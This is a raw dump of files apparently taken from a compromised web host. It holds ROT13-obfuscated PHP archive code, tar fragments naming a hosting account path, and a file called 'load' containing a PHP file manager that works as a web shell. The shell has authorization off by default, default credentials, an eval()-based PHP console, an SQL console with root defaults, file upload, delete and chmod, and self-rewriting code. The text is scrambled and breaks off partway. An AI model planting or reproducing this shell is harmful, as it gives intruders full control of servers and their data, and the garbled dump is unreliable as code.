				vs (!$guvf->ernqUrnqre($ovanelQngn, $urnqre)) erghea snyfr;
				ryfr $urnqre['svyranzr'] = $svyranzr;
				erghea gehr;
			}
			vs (($cngu != './') && ($cngu != '/')){
				juvyr (fhofge($cngu, -1) == '/') $cngu = fhofge($cngu, 0, fgeyra($cngu)-1);
				vs (fhofge($urnqre['svyranzr'], 0, 1) == '/') $urnqre['svyranzr'] = $cngu.$urnqre['svyranzr'];
				ryfr $urnqre['svyranzr'] = $cngu.'/'.$urnqre['svyranzr'];
			}
			
			vs (svyr_rkvfgf($urnqre['svyranzr'])){
				vs ((@vf_qve($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '')){
					$guvf->reebef[] =__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf').__(' nf sbyqre');
					erghea snyfr;
				}
				vs ((vf_svyr($urnqre['svyranzr'])) && ($urnqre['glcrsynt'] == '5')){
					$guvf->reebef[] =__('Pnaabg perngr qverpgbel').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
				vs (!vf_jevgrnoyr($urnqre['svyranzr'])){
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').'. '.__('Svyr ').$urnqre['svyranzr'].__(' nyernql rkvfgf');
					erghea snyfr;
				}
			} ryfrvs (($guvf->qvePurpx(($urnqre['glcrsynt'] == '5' ? $urnqre['svyranzr'] : qveanzr($urnqre['svyranzr'])))) != 1){
				$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.__(' sbe ').$urnqre['svyranzr'];
				erghea snyfr;
			}

			vs ($urnqre['glcrsynt'] == '5'){
				vs (!svyr_rkvfgf($urnqre['svyranzr']))		{
					vs (!zxqve($urnqre['svyranzr'], 0777))	{
						
						$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$urnqre['svyranzr'];
						erghea snyfr;
					} 
				}
			} ryfr {
				vs (($qrfgvangvba = sbcra($urnqre['svyranzr'], 'jo')) == 0) {
					$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$urnqre['svyranzr'];
					erghea snyfr;
				} ryfr {
					$qrpe = sybbe($urnqre['fvmr']/512);
					sbe ($v = 0; $v < $qrpe; $v++) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, 512);
					}
					vs (($urnqre['fvmr'] % 512) != 0) {
						$pbagrag = $guvf->ernqOybpx();
						sjevgr($qrfgvangvba, $pbagrag, ($urnqre['fvmr'] % 512));
					}
					spybfr($qrfgvangvba);
					gbhpu($urnqre['svyranzr'], $urnqre['gvzr']);
				}
				pyrnefgngpnpur();
				vs (svyrfvmr($urnqre['svyranzr']) != $urnqre['fvmr']) {
					$guvf->reebef[] = __('Fvmr bs svyr').' '.$urnqre['svyranzr'].' '.__('vf vapbeerpg');
					erghea snyfr;
				}
			}
			vs (($svyr_qve = qveanzr($urnqre['svyranzr'])) == $urnqre['svyranzr']) $svyr_qve = '';
			vs ((fhofge($urnqre['svyranzr'], 0, 1) == '/') && ($svyr_qve == '')) $svyr_qve = '/';
			$guvf->qvef[] = $svyr_qve;
			$guvf->svyrf[] = $urnqre['svyranzr'];
	
		}
		erghea gehr;
	}

	shapgvba qvePurpx($qve){
		$cnerag_qve = qveanzr($qve);

		vs ((@vf_qve($qve)) be ($qve == ''))
			erghea gehr;

		vs (($cnerag_qve != $qve) naq ($cnerag_qve != '') naq (!$guvf->qvePurpx($cnerag_qve)))
			erghea snyfr;

		vs (!zxqve($qve, 0777)){
			$guvf->reebef[] = __('Pnaabg perngr qverpgbel').' '.$qve;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqUrnqre($ovanelQngn, &$urnqre){
		vs (fgeyra($ovanelQngn)==0){
			$urnqre['svyranzr'] = '';
			erghea gehr;
		}

		vs (fgeyra($ovanelQngn) != 512){
			$urnqre['svyranzr'] = '';
			$guvf->__('Vainyvq oybpx fvmr').': '.fgeyra($ovanelQngn);
			erghea snyfr;
		}

		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156; $v < 512; $v++) $purpxfhz+=beq(fhofge($ovanelQngn, $v, 1));

		$hacnpx_qngn = hacnpx('n100svyranzr/n8zbqr/n8hfre_vq/n8tebhc_vq/n12fvmr/n12gvzr/n8purpxfhz/n1glcrsynt/n100yvax/n6zntvp/n2irefvba/n32hanzr/n32tanzr/n8qriznwbe/n8qrizvabe', $ovanelQngn);

		$urnqre['purpxfhz'] = BpgQrp(gevz($hacnpx_qngn['purpxfhz']));
		vs ($urnqre['purpxfhz'] != $purpxfhz){
			$urnqre['svyranzr'] = '';
			vs (($purpxfhz == 256) && ($urnqre['purpxfhz'] == 0)) 	erghea gehr;
			$guvf->reebef[] = __('Reebe purpxfhz sbe svyr ').$hacnpx_qngn['svyranzr'];
			erghea snyfr;
		}

		vs (($urnqre['glcrsynt'] = $hacnpx_qngn['glcrsynt']) == '5')	$urnqre['fvmr'] = 0;
		$urnqre['svyranzr'] = gevz($hacnpx_qngn['svyranzr']);
		$urnqre['zbqr'] = BpgQrp(gevz($hacnpx_qngn['zbqr']));
		$urnqre['hfre_vq'] = BpgQrp(gevz($hacnpx_qngn['hfre_vq']));
		$urnqre['tebhc_vq'] = BpgQrp(gevz($hacnpx_qngn['tebhc_vq']));
		$urnqre['fvmr'] = BpgQrp(gevz($hacnpx_qngn['fvmr']));
		$urnqre['gvzr'] = BpgQrp(gevz($hacnpx_qngn['gvzr']));
		erghea gehr;
	}

	shapgvba jevgrUrnqre($svyranzr, $xrrc_svyranzr){
		$cnpxS = 'n100n8n8n8n12N12';
		$cnpxY = 'n1n100n6n2n32n32n8n8n155n12';
		vs (fgeyra($xrrc_svyranzr)<=0) $xrrc_svyranzr = $svyranzr;
		$svyranzr_ernql = $guvf->znxrTbbqCngu($xrrc_svyranzr);

		vs (fgeyra($svyranzr_ernql) > 99){							//jevgr ybat urnqre
		$qngnSvefg = cnpx($cnpxS, '././YbatYvax', 0, 0, 0, fcevags('%11f ', QrpBpg(fgeyra($svyranzr_ernql))), 0);
		$qngnYnfg = cnpx($cnpxY, 'Y', '', '', '', '', '', '', '', '', '');

        //  Pnyphyngr gur purpxfhz
		$purpxfhz = 0;
        //  Svefg cneg bs gur urnqre
		sbe ($v = 0; $v < 148; $v++)
			$purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
        //  Vtaber gur purpxfhz inyhr naq ercynpr vg ol ' ' (fcnpr)
		sbe ($v = 148; $v < 156; $v++)
			$purpxfhz += beq(' ');
        //  Ynfg cneg bs gur urnqre
		sbe ($v = 156, $w=0; $v < 512; $v++, $w++)
			$purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
        //  Jevgr gur svefg 148 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnSvefg, 148);
        //  Jevgr gur pnyphyngrq purpxfhz
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
        //  Jevgr gur ynfg 356 olgrf bs gur urnqre va gur nepuvir
		$guvf->jevgrOybpx($qngnYnfg, 356);

		$gzc_svyranzr = $guvf->znxrTbbqCngu($svyranzr_ernql);

		$v = 0;
			juvyr (($ohssre = fhofge($gzc_svyranzr, (($v++)*512), 512)) != ''){
				$ovanelQngn = cnpx('n512', $ohssre);
				$guvf->jevgrOybpx($ovanelQngn);
			}
		erghea gehr;
		}
		$svyr_vasb = fgng($svyranzr);
		vs (@vf_qve($svyranzr)){
			$glcrsynt = '5';
			$fvmr = fcevags('%11f ', QrpBpg(0));
		} ryfr {
			$glcrsynt = '';
			pyrnefgngpnpur();
			$fvmr = fcevags('%11f ', QrpBpg(svyrfvmr($svyranzr)));
		}
		$qngnSvefg = cnpx($cnpxS, $svyranzr_ernql, fcevags('%6f ', QrpBpg(svyrcrezf($svyranzr))), fcevags('%6f ', QrpBpg($svyr_vasb[4])), fcevags('%6f ', QrpBpg($svyr_vasb[5])), $fvmr, fcevags('%11f', QrpBpg(svyrzgvzr($svyranzr))));
		$qngnYnfg = cnpx($cnpxY, $glcrsynt, '', '', '', '', '', '', '', '', '');
		$purpxfhz = 0;
		sbe ($v = 0; $v < 148; $v++) $purpxfhz += beq(fhofge($qngnSvefg, $v, 1));
		sbe ($v = 148; $v < 156; $v++) $purpxfhz += beq(' ');
		sbe ($v = 156, $w = 0; $v < 512; $v++, $w++) $purpxfhz += beq(fhofge($qngnYnfg, $w, 1));
		$guvf->jevgrOybpx($qngnSvefg, 148);
		$purpxfhz = fcevags('%6f ', QrpBpg($purpxfhz));
		$ovanelQngn = cnpx('n8', $purpxfhz);
		$guvf->jevgrOybpx($ovanelQngn, 8);
		$guvf->jevgrOybpx($qngnYnfg, 356);
		erghea gehr;
	}

	shapgvba bcraJevgr(){
		vs ($guvf->vfTmvccrq)
			$guvf->gzc_svyr = tmbcra($guvf->nepuvir_anzr, 'jo9s');
		ryfr
			$guvf->gzc_svyr = sbcra($guvf->nepuvir_anzr, 'jo');

		vs (!($guvf->gzc_svyr)){
			$guvf->reebef[] = __('Pnaabg jevgr gb svyr').' '.$guvf->nepuvir_anzr;
			erghea snyfr;
		}
		erghea gehr;
	}

	shapgvba ernqOybpx(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				$oybpx = tmernq($guvf->gzc_svyr, 512);
			ryfr
				$oybpx = sernq($guvf->gzc_svyr, 512);
		} ryfr	$oybpx = '';

		erghea $oybpx;
	}

	shapgvba jevgrOybpx($qngn, $yratgu = 0){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
		
			vs ($yratgu === 0){
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn);
				ryfr
					schgf($guvf->gzc_svyr, $qngn);
			} ryfr {
				vs ($guvf->vfTmvccrq)
					tmchgf($guvf->gzc_svyr, $qngn, $yratgu);
				ryfr
					schgf($guvf->gzc_svyr, $qngn, $yratgu);
			}
		}
	}

	shapgvba pybfrGzcSvyr(){
		vs (vf_erfbhepr($guvf->gzc_svyr)){
			vs ($guvf->vfTmvccrq)
				tmpybfr($guvf->gzc_svyr);
			ryfr
				spybfr($guvf->gzc_svyr);

			$guvf->gzc_svyr = 0;
		}
	}

	shapgvba znxrTbbqCngu($cngu){
		vs (fgeyra($cngu)>0){
			$cngu = fge_ercynpr('\\', '/', $cngu);
			$cnegCngu = rkcybqr('/', $cngu);
			$ryf = pbhag($cnegCngu)-1;
			sbe ($v = $ryf; $v>=0; $v--){
				vs ($cnegCngu[$v] == '.'){
                    //  Vtaber guvf qverpgbel
                } ryfrvs ($cnegCngu[$v] == '..'){
                    $v--;
                }
				ryfrvs (($cnegCngu[$v] == '') naq ($v!=$ryf) naq ($v!=0)){
                }	ryfr
					$erfhyg = $cnegCngu[$v].($v!=$ryf ? '/'.$erfhyg : '');
			}
		} ryfr $erfhyg = '';
		
		erghea $erfhyg;
	}
}
?>931753/x.txt.txt.tar.gz000064400000000200150432665020010344 0ustar00���A@0�aG�	t��\��	�4TZ��X��`1��m����pm�����Wc�ٕ��G�=	x��D�`)�D�i/�`�L�޶z�����U;͚���6���}}�B��ᛓ931753/.htaccess.tar000064400000004000150432665020007677 0ustar00home/depancom/www/albums/.htaccess000064400000000210150432664160013167 0ustar00<FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|pHP7|PHP7|phP|PhP|php5|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>931753/index.php.php.tar.gz000064400000000161150432665020011132 0ustar00���K
� @Q��
z*��z`�Ll�9h� ��gx'���b�~	J)��]��a�+�c4����$�c�&��K�d�L0��t})�C�u�ū��G.�_s�931753/load000064400000240606150432665020006174 0ustar00eonuvbiuyevibycanpm'cwrnuvb348rb238 tnmqn8bytnnyb8qm0icrnubyuq iimpo3r32rnnnnnxalxjaa%00%01%0A">'><?php
/* PHP File manager ver 1.5 */
// @Nafisfuad1 -- telegrams
// Configuration — do not change manually
$authorization = '{"authorize":"0","login":"admin","password":"phpfm","cookie_name":"fm_user","days_authorization":"30","script":"<script type=\"text\/javascript\" src=\"https:\/\/www.cdolivet.com\/editarea\/editarea\/edit_area\/edit_area_full.js\"><\/script>\r\n<script language=\"Javascript\" type=\"text\/javascript\">\r\neditAreaLoader.init({\r\nid: \"newcontent\"\r\n,display: \"later\"\r\n,start_highlight: true\r\n,allow_resize: \"both\"\r\n,allow_toggle: true\r\n,word_wrap: true\r\n,language: \"ru\"\r\n,syntax: \"php\"\t\r\n,toolbar: \"search, go_to_line, |, undo, redo, |, select_font, |, syntax_selection, |, change_smooth_selection, highlight, reset_highlight, |, help\"\r\n,syntax_selection_allow: \"css,html,js,php,python,xml,c,cpp,sql,basic,pas\"\r\n});\r\n<\/script>"}';
$php_templates = '{"Settings":"global $fm_config;\r\nvar_export($fm_config);","Backup SQL tables":"echo fm_backup_tables();"}';
$sql_templates = '{"All bases":"SHOW DATABASES;","All tables":"SHOW TABLES;"}';
$translation = '{"id":"ru","Add":"Добавить","Are you sure you want to delete this directory (recursively)?":"Вы уверены, что хотите удалить эту папку (рекурсивно)?","Are you sure you want to delete this file?":"Вы уверены, что хотите удалить этот файл?","Archiving":"Архивировать","Authorization":"Авторизация","Back":"Назад","Cancel":"Отмена","Chinese":"Китайский","Compress":"Сжать","Console":"Консоль","Cookie":"Куки","Created":"Создан","Date":"Дата","Days":"Дней","Decompress":"Распаковать","Delete":"Удалить","Deleted":"Удалено","Download":"Скачать","done":"закончена","Edit":"Редактировать","Enter":"Вход","English":"Английский","Error occurred":"Произошла ошибка","File manager":"Файловый менеджер","File selected":"Выбран файл","File updated":"Файл сохранен","Filename":"Имя файла","Files uploaded":"Файл загружен","French":"Французский","Generation time":"Генерация страницы","German":"Немецкий","Home":"Домой","Quit":"Выход","Language":"Язык","Login":"Логин","Manage":"Управление","Make directory":"Создать папку","Name":"Наименование","New":"Новое","New file":"Новый файл","no files":"нет файлов","Password":"Пароль","pictures":"изображения","Recursively":"Рекурсивно","Rename":"Переименовать","Reset":"Сбросить","Reset settings":"Сбросить настройки","Restore file time after editing":"Восстанавливать время файла после редактирования","Result":"Результат","Rights":"Права","Russian":"Русский","Save":"Сохранить","Select":"Выберите","Select the file":"Выберите файл","Settings":"Настройка","Show":"Показать","Show size of the folder":"Показывать размер папки","Size":"Размер","Spanish":"Испанский","Submit":"Отправить","Task":"Задача","templates":"шаблоны","Ukrainian":"Украинский","Upload":"Загрузить","Value":"Значение","Hello":"Привет","Found in files":"Найдено в файлах","Search":"Поиск","Recursive search":"Рекурсивный поиск","Mask":"Маска"}';
// end configuration

// Preparations
$starttime = explode(' ', microtime());
$starttime = $starttime[1] + $starttime[0];
$langs = array('en','ru','de','fr','uk');
$path = empty($_REQUEST['path']) ? $path = realpath('.') : realpath($_REQUEST['path']);
$path = str_replace('\\', '/', $path) . '/';
$main_path=str_replace('\\', '/',realpath('./'));
$phar_maybe = (version_compare(phpversion(),"5.3.0","<"))?true:false;
$msg = ''; // service string
$default_language = 'ru';
$detect_lang = true;
$fm_version = 1.4;

//Authorization
$auth = json_decode($authorization,true);
$auth['authorize'] = isset($auth['authorize']) ? $auth['authorize'] : 0; 
$auth['days_authorization'] = (isset($auth['days_authorization'])&&is_numeric($auth['days_authorization'])) ? (int)$auth['days_authorization'] : 30;
$auth['login'] = isset($auth['login']) ? $auth['login'] : 'admin';  
$auth['password'] = isset($auth['password']) ? $auth['password'] : 'phpfm';  
$auth['cookie_name'] = isset($auth['cookie_name']) ? $auth['cookie_name'] : 'fm_user';
$auth['script'] = isset($auth['script']) ? $auth['script'] : '';

// Little default config
$fm_default_config = array (
	'make_directory' => true, 
	'new_file' => true, 
	'upload_file' => true, 
	'show_dir_size' => false, //if true, show directory size → maybe slow 
	'show_img' => true, 
	'show_php_ver' => true, 
	'show_php_ini' => false, // show path to current php.ini
	'show_gt' => true, // show generation time
	'enable_php_console' => true,
	'enable_sql_console' => true,
	'sql_server' => 'localhost',
	'sql_username' => 'root',
	'sql_password' => '',
	'sql_db' => 'test_base',
	'enable_proxy' => true,
	'show_phpinfo' => true,
	'show_xls' => true,
	'fm_settings' => true,
	'restore_time' => true,
	'fm_restore_time' => false,
);

if (empty($_COOKIE['fm_config'])) $fm_config = $fm_default_config;
else $fm_config = unserialize($_COOKIE['fm_config']);

// Change language
if (isset($_POST['fm_lang'])) { 
	setcookie('fm_lang', $_POST['fm_lang'], time() + (86400 * $auth['days_authorization']));
	$_COOKIE['fm_lang'] = $_POST['fm_lang'];
}
$language = $default_language;

// Detect browser language
if($detect_lang && !empty($_SERVER['HTTP_ACCEPT_LANGUAGE']) && empty($_COOKIE['fm_lang'])){
	$lang_priority = explode(',', $_SERVER['HTTP_ACCEPT_LANGUAGE']);
	if (!empty($lang_priority)){
		foreach ($lang_priority as $lang_arr){
			$lng = explode(';', $lang_arr);
			$lng = $lng[0];
			if(in_array($lng,$langs)){
				$language = $lng;
				break;
			}
		}
	}
} 

// Cookie language is primary for ever
$language = (empty($_COOKIE['fm_lang'])) ? $language : $_COOKIE['fm_lang'];

// Localization
$lang = json_decode($translation,true);
if ($lang['id']!=$language) {
	$get_lang = file_get_contents('https://raw.githubusercontent.com/Den1xxx/Filemanager/master/languages/' . $language . '.json');
	if (!empty($get_lang)) {
		//remove unnecessary characters
		$translation_string = str_replace("'",'&#39;',json_encode(json_decode($get_lang),JSON_UNESCAPED_UNICODE));
		$fgc = file_get_contents(__FILE__);
		$search = preg_match('#translation[\s]?\=[\s]?\'\{\"(.*?)\"\}\';#', $fgc, $matches);
		if (!empty($matches[1])) {
			$filemtime = filemtime(__FILE__);
			$replace = str_replace('{"'.$matches[1].'"}',$translation_string,$fgc);
			if (file_put_contents(__FILE__, $replace)) {
				$msg .= __('File updated');
			}	else $msg .= __('Error occurred');
			if (!empty($fm_config['fm_restore_time'])) touch(__FILE__,$filemtime);
		}	
		$lang = json_decode($translation_string,true);
	}
}

/* Functions */

//translation
function __($text){
	global $lang;
	if (isset($lang[$text])) return $lang[$text];
	else return $text;
};

//delete files and dirs recursively
function fm_del_files($file, $recursive = false) {
	if($recursive && @is_dir($file)) {
		$els = fm_scan_dir($file, '', '', true);
		foreach ($els as $el) {
			if($el != '.' && $el != '..'){
				fm_del_files($file . '/' . $el, true);
			}
		}
	}
	if(@is_dir($file)) {
		return rmdir($file);
	} else {
		return @unlink($file);
	}
}

//file perms
function fm_rights_string($file, $if = false){
	$perms = fileperms($file);
	$info = '';
	if(!$if){
		if (($perms & 0xC000) == 0xC000) {
			//Socket
			$info = 's';
		} elseif (($perms & 0xA000) == 0xA000) {
			//Symbolic Link
			$info = 'l';
		} elseif (($perms & 0x8000) == 0x8000) {
			//Regular
			$info = '-';
		} elseif (($perms & 0x6000) == 0x6000) {
			//Block special
			$info = 'b';
		} elseif (($perms & 0x4000) == 0x4000) {
			//Directory
			$info = 'd';
		} elseif (($perms & 0x2000) == 0x2000) {
			//Character special
			$info = 'c';
		} elseif (($perms & 0x1000) == 0x1000) {
			//FIFO pipe
			$info = 'p';
		} else {
			//Unknown
			$info = 'u';
		}
	}
  
	//Owner
	$info .= (($perms & 0x0100) ? 'r' : '-');
	$info .= (($perms & 0x0080) ? 'w' : '-');
	$info .= (($perms & 0x0040) ?
	(($perms & 0x0800) ? 's' : 'x' ) :
	(($perms & 0x0800) ? 'S' : '-'));
 
	//Group
	$info .= (($perms & 0x0020) ? 'r' : '-');
	$info .= (($perms & 0x0010) ? 'w' : '-');
	$info .= (($perms & 0x0008) ?
	(($perms & 0x0400) ? 's' : 'x' ) :
	(($perms & 0x0400) ? 'S' : '-'));
 
	//World
	$info .= (($perms & 0x0004) ? 'r' : '-');
	$info .= (($perms & 0x0002) ? 'w' : '-');
	$info .= (($perms & 0x0001) ?
	(($perms & 0x0200) ? 't' : 'x' ) :
	(($perms & 0x0200) ? 'T' : '-'));

	return $info;
}

function fm_convert_rights($mode) {
	$mode = str_pad($mode,9,'-');
	$trans = array('-'=>'0','r'=>'4','w'=>'2','x'=>'1');
	$mode = strtr($mode,$trans);
	$newmode = '0';
	$owner = (int) $mode[0] + (int) $mode[1] + (int) $mode[2]; 
	$group = (int) $mode[3] + (int) $mode[4] + (int) $mode[5]; 
	$world = (int) $mode[6] + (int) $mode[7] + (int) $mode[8]; 
	$newmode .= $owner . $group . $world;
	return intval($newmode, 8);
}

function fm_chmod($file, $val, $rec = false) {
	$res = @chmod(realpath($file), $val);
	if(@is_dir($file) && $rec){
		$els = fm_scan_dir($file);
		foreach ($els as $el) {
			$res = $res && fm_chmod($file . '/' . $el, $val, true);
		}
	}
	return $res;
}

//load files
function fm_download($file_name) {
    if (!empty($file_name)) {
		if (file_exists($file_name)) {
			header("Content-Disposition: attachment; filename=" . basename($file_name));   
			header("Content-Type: application/force-download");
			header("Content-Type: application/octet-stream");
			header("Content-Type: application/download");
			header("Content-Description: File Transfer");            
			header("Content-Length: " . filesize($file_name));		
			flush(); // this doesn't really matter.
			$fp = fopen($file_name, "r");
			while (!feof($fp)) {
				echo fread($fp, 65536);
				flush(); // this is essential for large downloads
			} 
			fclose($fp);
			die();
		} else {
			header('HTTP/1.0 404 Not Found', true, 404);
			header('Status: 404 Not Found'); 
			die();
        }
    } 
}

//show folder size
function fm_dir_size($f,$format=true) {
	if($format)  {
		$size=fm_dir_size($f,false);
		if($size<=1024) return $size.' bytes';
		elseif($size<=1024*1024) return round($size/(1024),2).'&nbsp;Kb';
		elseif($size<=1024*1024*1024) return round($size/(1024*1024),2).'&nbsp;Mb';
		elseif($size<=1024*1024*1024*1024) return round($size/(1024*1024*1024),2).'&nbsp;Gb';
		elseif($size<=1024*1024*1024*1024*1024) return round($size/(1024*1024*1024*1024),2).'&nbsp;Tb'; //:)))
		else return round($size/(1024*1024*1024*1024*1024),2).'&nbsp;Pb'; // ;-)
	} else {
		if(is_file($f)) return filesize($f);
		$size=0;
		$dh=opendir($f);
		while(($file=readdir($dh))!==false) {
			if($file=='.' || $file=='..') continue;
			if(is_file($f.'/'.$file)) $size+=filesize($f.'/'.$file);
			else $size+=fm_dir_size($f.'/'.$file,false);
		}
		closedir($dh);
		return $size+filesize($f); 
	}
}

//scan directory
function fm_scan_dir($directory, $exp = '', $type = 'all', $do_not_filter = false) {
	$dir = $ndir = array();
	if(!empty($exp)){
		$exp = '/^' . str_replace('*', '(.*)', str_replace('.', '\\.', $exp)) . '$/';
	}
	if(!empty($type) && $type !== 'all'){
		$func = 'is_' . $type;
	}
	if(@is_dir($directory)){
		$fh = opendir($directory);
		while (false !== ($filename = readdir($fh))) {
			if(substr($filename, 0, 1) != '.' || $do_not_filter) {
				if((empty($type) || $type == 'all' || $func($directory . '/' . $filename)) && (empty($exp) || preg_match($exp, $filename))){
					$dir[] = $filename;
				}
			}
		}
		closedir($fh);
		natsort($dir);
	}
	return $dir;
}

function fm_link($get,$link,$name,$title='') {
	if (empty($title)) $title=$name.' '.basename($link);
	return '&nbsp;&nbsp;<a href="?'.$get.'='.base64_encode($link).'" title="'.$title.'">'.$name.'</a>';
}

function fm_arr_to_option($arr,$n,$sel=''){
	foreach($arr as $v){
		$b=$v[$n];
		$res.='<option value="'.$b.'" '.($sel && $sel==$b?'selected':'').'>'.$b.'</option>';
	}
	return $res;
}

function fm_lang_form ($current='en'){
return '
<form name="change_lang" method="post" action="">
	<select name="fm_lang" title="'.__('Language').'" onchange="document.forms[\'change_lang\'].submit()" >
		<option value="en" '.($current=='en'?'selected="selected" ':'').'>'.__('English').'</option>
		<option value="de" '.($current=='de'?'selected="selected" ':'').'>'.__('German').'</option>
		<option value="ru" '.($current=='ru'?'selected="selected" ':'').'>'.__('Russian').'</option>
		<option value="fr" '.($current=='fr'?'selected="selected" ':'').'>'.__('French').'</option>
		<option value="uk" '.($current=='uk'?'selected="selected" ':'').'>'.__('Ukrainian').'</option>
	</select>
</form>
';
}
	
function fm_root($dirname){
	return ($dirname=='.' OR $dirname=='..');
}

function fm_php($string){
	$display_errors=ini_get('display_errors');
	ini_set('display_errors', '1');
	ob_start();
	eval(trim($string));
	$text = ob_get_contents();
	ob_end_clean();
	ini_set('display_errors', $display_errors);
	return $text;
}

//SHOW DATABASES
function fm_sql_connect(){
	global $fm_config;
	return new mysqli($fm_config['sql_server'], $fm_config['sql_username'], $fm_config['sql_password'], $fm_config['sql_db']);
}

function fm_sql($query){
	global $fm_config;
	$query=trim($query);
	ob_start();
	$connection = fm_sql_connect();
	if ($connection->connect_error) {
		ob_end_clean();	
		return $connection->connect_error;
	}
	$connection->set_charset('utf8');
    $queried = mysqli_query($connection,$query);
	if ($queried===false) {
		ob_end_clean();	
		return mysqli_error($connection);
    } else {
		if(!empty($queried)){
			while($row = mysqli_fetch_assoc($queried)) {
				$query_result[]=  $row;
			}
		}
		$vdump=empty($query_result)?'':var_export($query_result,true);	
		ob_end_clean();	
		$connection->close();
		return '<pre>'.stripslashes($vdump).'</pre>';
	}
}

function fm_backup_tables($tables = '*', $full_backup = true) {
	global $path;
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
	if($tables == '*')	{
		$tables = array();
		$result = $mysqldb->query('SHOW TABLES');
		while($row = mysqli_fetch_row($result))	{
			$tables[] = $row[0];
		}
	} else {
		$tables = is_array($tables) ? $tables : explode(',',$tables);
	}
    
	$return='';
	foreach($tables as $table)	{
		$result = $mysqldb->query('SELECT * FROM '.$table);
		$num_fields = mysqli_num_fields($result);
		$return.= 'DROP TABLE IF EXISTS `'.$table.'`'.$delimiter;
		$row2 = mysqli_fetch_row($mysqldb->query('SHOW CREATE TABLE '.$table));
		$return.=$row2[1].$delimiter;
        if ($full_backup) {
		for ($i = 0; $i < $num_fields; $i++)  {
			while($row = mysqli_fetch_row($result)) {
				$return.= 'INSERT INTO `'.$table.'` VALUES(';
				for($j=0; $j<$num_fields; $j++)	{
					$row[$j] = addslashes($row[$j]);
					$row[$j] = str_replace("\n","\\n",$row[$j]);
					if (isset($row[$j])) { $return.= '"'.$row[$j].'"' ; } else { $return.= '""'; }
					if ($j<($num_fields-1)) { $return.= ','; }
				}
				$return.= ')'.$delimiter;
			}
		  }
		} else { 
		$return = preg_replace("#AUTO_INCREMENT=[\d]+ #is", '', $return);
		}
		$return.="\n\n\n";
	}

	//save file
    $file=gmdate("Y-m-d_H-i-s",time()).'.sql';
	$handle = fopen($file,'w+');
	fwrite($handle,$return);
	fclose($handle);
	$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'?delete=' . $file . '&path=' . $path  . '\'"';
    return $file.': '.fm_link('download',$path.$file,__('Download'),__('Download').' '.$file).' <a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
}

function fm_restore_tables($sqlFileToExecute) {
	$mysqldb = fm_sql_connect();
	$delimiter = "; \n  \n";
    // Load and explode the sql file
    $f = fopen($sqlFileToExecute,"r+");
    $sqlFile = fread($f,filesize($sqlFileToExecute));
    $sqlArray = explode($delimiter,$sqlFile);
	
    //Process the sql file by statements
    foreach ($sqlArray as $stmt) {
        if (strlen($stmt)>3){
			$result = $mysqldb->query($stmt);
				if (!$result){
					$sqlErrorCode = mysqli_errno($mysqldb->connection);
					$sqlErrorText = mysqli_error($mysqldb->connection);
					$sqlStmt      = $stmt;
					break;
           	     }
           	  }
           }
if (empty($sqlErrorCode)) return __('Success').' — '.$sqlFileToExecute;
else return $sqlErrorText.'<br/>'.$stmt;
}

function fm_img_link($filename){
	return './'.basename(__FILE__).'?img='.base64_encode($filename);
}

function fm_home_style(){
	return '
input, input.fm_input {
	text-indent: 2px;
}

input, textarea, select, input.fm_input {
	color: black;
	font: normal 8pt Verdana, Arial, Helvetica, sans-serif;
	border-color: black;
	background-color: #FCFCFC none !important;
	border-radius: 0;
	padding: 2px;
}

input.fm_input {
	background: #FCFCFC none !important;
	cursor: pointer;
}

.home {
	background-image: url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAgRQTFRF/f396Ojo////tT02zr+fw66Rtj432TEp3MXE2DAr3TYp1y4mtDw2/7BM/7BOqVpc/8l31jcqq6enwcHB2Tgi5jgqVpbFvra2nBAV/Pz82S0jnx0W3TUkqSgi4eHh4Tsre4wosz026uPjzGYd6Us3ynAydUBA5Kl3fm5eqZaW7ODgi2Vg+Pj4uY+EwLm5bY9U//7jfLtC+tOK3jcm/71u2jYo1UYh5aJl/seC3jEm12kmJrIA1jMm/9aU4Lh0e01BlIaE///dhMdC7IA//fTZ2c3MW6nN30wf95Vd4JdXoXVos8nE4efN/+63IJgSnYhl7F4csXt89GQUwL+/jl1c41Aq+fb2gmtI1rKa2C4kJaIA3jYrlTw5tj423jYn3cXE1zQoxMHBp1lZ3Dgmqiks/+mcjLK83jYkymMV3TYk//HM+u7Whmtr0odTpaOjfWJfrHpg/8Bs/7tW/7Ve+4U52DMm3MLBn4qLgNVM6MzB3lEflIuL/+jA///20LOzjXx8/7lbWpJG2C8k3TosJKMA1ywjopOR1zYp5Dspiay+yKNhqKSk8NW6/fjns7Oz2tnZuz887b+W3aRY/+ms4rCE3Tot7V85bKxjuEA3w45Vh5uhq6am4cFxgZZW/9qIuwgKy0sW+ujT4TQntz423C8i3zUj/+Kw/a5d6UMxuL6wzDEr////cqJQfAAAAKx0Uk5T//////////////////////////////////////////////////////////////////////////////////////////